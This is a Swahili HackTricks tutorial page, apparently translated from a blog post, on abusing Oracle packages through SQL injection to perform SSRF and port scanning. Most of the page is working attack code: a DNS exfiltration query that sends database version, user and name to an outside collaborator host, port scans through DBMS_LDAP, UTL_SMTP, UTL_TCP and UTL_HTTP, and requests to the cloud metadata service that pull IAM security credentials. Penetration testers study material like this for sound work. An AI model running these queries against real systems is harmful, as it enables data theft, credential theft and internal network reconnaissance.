10 KiB
Uvamizi wa Oracle
Jifunze kuhusu uvamizi wa AWS kutoka mwanzo hadi mtaalam wa juu na htARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikionekana kwenye HackTricks au kupakua HackTricks kwa muundo wa PDF Angalia MPANGO WA KUJIUNGA!
- Pata swag rasmi wa PEASS & HackTricks
- Gundua The PEASS Family, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kuvamia kwa kuwasilisha PR kwa HackTricks na HackTricks Cloud repos za github.
Toa nakala ya machapisho haya kutoka kwenye tovuti ya wayback machine ya chapisho lililofutwa kutoka https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/.
SSRF
Kutumia Oracle kufanya maombi ya HTTP na DNS nje ya kawaida ni jambo lililodhibitishwa vizuri lakini kama njia ya kuvuja data ya SQL katika uvamizi. Tunaweza daima kurekebisha mbinu/huduma hizi ili kufanya SSRF/XSPA nyingine.
Kuweka Oracle kunaweza kuwa jambo gumu sana, haswa ikiwa unataka kuweka mfano wa haraka wa kujaribu amri. Rafiki yangu na mwenzangu katika Appsecco, Abhisek Datta, alinielekeza kwenye https://github.com/MaksymBilenko/docker-oracle-12c ambayo iliniruhusu kuweka mfano kwenye kompyuta ya AWS Ubuntu ya t2.large na Docker.
Nilikimbia amri ya docker na bendera ya --network="host"
ili niweze kuiga Oracle kama ufungaji wa asili na ufikiaji kamili wa mtandao, kwa muda wa chapisho hili la blogu.
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
Paketi za Oracle zinazounga mkono URL au maelezo ya Jina la Mwenyeji/Namba ya Bandari
Ili kupata paketi na kazi zozote zinazounga mkono maelezo ya jina la mwenyeji na namba ya bandari, nilifanya utafutaji kwenye Hati za Mtandaoni za Oracle Database. Kwa usahihi,
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
Utafutaji ulirudi matokeo yafuatayo (si yote yanaweza kutumika kufanya mtandao wa nje):
- DBMS_NETWORK_ACL_ADMIN
- UTL_SMTP
- DBMS_XDB
- DBMS_SCHEDULER
- DBMS_XDB_CONFIG
- DBMS_AQ
- UTL_MAIL
- DBMS_AQELM
- DBMS_NETWORK_ACL_UTILITY
- DBMS_MGD_ID_UTL
- UTL_TCP
- DBMS_MGWADM
- DBMS_STREAMS_ADM
- UTL_HTTP
Utafutaji huu wa kawaida unapuuza pakiti kama DBMS_LDAP
(ambayo inaruhusu kupitisha jina la mwenyeji na nambari ya bandari) kama ukurasa wa nyaraka unakuelekeza tu kwenye eneo tofauti. Hivyo, kuna pakiti zingine za Oracle ambazo zinaweza kutumiwa vibaya kufanya maombi ya nje ambazo nimezikosa.
Kwa hali yoyote, hebu tuangalie baadhi ya pakiti ambazo tumegundua na kuziorodhesha hapo juu.
DBMS_LDAP.INIT
Pakiti ya DBMS_LDAP
inaruhusu kupata data kutoka kwenye seva za LDAP. Kazi ya init()
inaanzisha kikao na seva ya LDAP na inachukua jina la mwenyeji na nambari ya bandari kama hoja.
Kazi hii imekwisha elezewa hapo awali kuonyesha utekaji wa data kupitia DNS, kama ifuatavyo
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
Hata hivyo, ukizingatia kuwa kazi inakubali jina la mwenyeji na nambari ya bandari kama hoja, unaweza kutumia hii kufanya kazi kama skana ya bandari pia.
Hapa kuna mifano michache
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.
inaonyesha kuwa bandari imefungwa wakati thamani ya kikao inaashiria kuwa bandari iko wazi.
UTL_SMTP
Kifurushi cha UTL_SMTP
kimeundwa kwa ajili ya kutuma barua pepe kupitia SMTP. Mfano uliotolewa kwenye tovuti ya nyaraka za Oracle inaonyesha jinsi unavyoweza kutumia kifurushi hiki kutuma barua pepe. Kwetu sisi, hata hivyo, jambo linalovutia ni uwezo wa kutoa maelezo ya mwenyeji na bandari.
Mfano wa kubahatisha unaonyeshwa hapa chini na kazi ya UTL_SMTP.OPEN_CONNECTION
, na muda wa kusubiri wa sekunde 2
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
ORA-29276: transfer timeout
inaonyesha kuwa bandari iko wazi lakini hakuna uhusiano wa SMTP ulioanzishwa wakati ORA-29278: SMTP transient error: 421 Service not available
inaonyesha kuwa bandari imefungwa.
UTL_TCP
Kifurushi cha UTL_TCP
na taratibu na kazi zake kuruhusu mawasiliano yanayotegemea TCP/IP na huduma. Ikiwa imeprogramuwa kwa huduma maalum, kifurushi hiki kinaweza kuwa njia rahisi ya kuingia kwenye mtandao au kutekeleza Maombi ya Upande wa Seva kwani vipengele vyote vya uhusiano wa TCP/IP vinaweza kudhibitiwa.
Mfano kwenye tovuti ya nyaraka za Oracle unaonyesha jinsi unavyoweza kutumia kifurushi hiki kuunda uhusiano wa TCP safi ili kupata ukurasa wa wavuti. Tunaweza kuifanya iwe rahisi zaidi na kutumia kuomba kwa mfano kwa kielelezo cha metadata au kwa huduma yoyote ya TCP/IP isiyojulikana.
set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
Kwa kushangaza, kutokana na uwezo wa kuunda ombi la TCP la moja kwa moja, kifurushi hiki pia kinaweza kutumika kuuliza huduma ya meta-data ya Kifaa cha Wingu cha watoa huduma wote wa wingu kwa sababu aina ya njia na vichwa vya ziada vinaweza kupitishwa ndani ya ombi la TCP.
UTL_HTTP na Ombi za Wavuti
Labda njia ya kawaida na iliyoandikwa sana katika kila mafunzo ya Oracle SQL Injection nje ya Band ni kifurushi cha UTL_HTTP
. Kifurushi hiki kimefafanuliwa na nyaraka kama - Kifurushi cha UTL_HTTP kinafanya wito wa Hypertext Transfer Protocol (HTTP) kutoka SQL na PL/SQL. Unaweza kutumia kifurushi hiki kupata data kwenye Mtandao kupitia HTTP.
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
Unaweza pia kutumia hii kufanya uchunguzi wa bandari za msingi kwa kutumia maswali kama vile
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
ORA-12541: TNS:no listener
au TNS:operation timed out
ni ishara kwamba bandari ya TCP imefungwa, wakati ORA-29263: HTTP protocol error
au data ni ishara kwamba bandari imefunguliwa.
Kifurushi kingine nilichotumia hapo awali na mafanikio tofauti ni GETCLOB()
method ya aina ya kawaida ya Oracle ya HTTPURITYPE
ambayo inakuwezesha kuingiliana na URL na inatoa msaada kwa itifaki ya HTTP. GETCLOB()
method hutumiwa kupata majibu ya GET kutoka kwenye URL kama aina ya data ya CLOB.[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako inatangazwa kwenye HackTricks au kupakua HackTricks kwa muundo wa PDF Angalia MPANGO WA KUJIUNGA!
- Pata swag rasmi wa PEASS & HackTricks
- Gundua The PEASS Family, mkusanyiko wetu wa NFTs za kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye HackTricks na HackTricks Cloud github repos.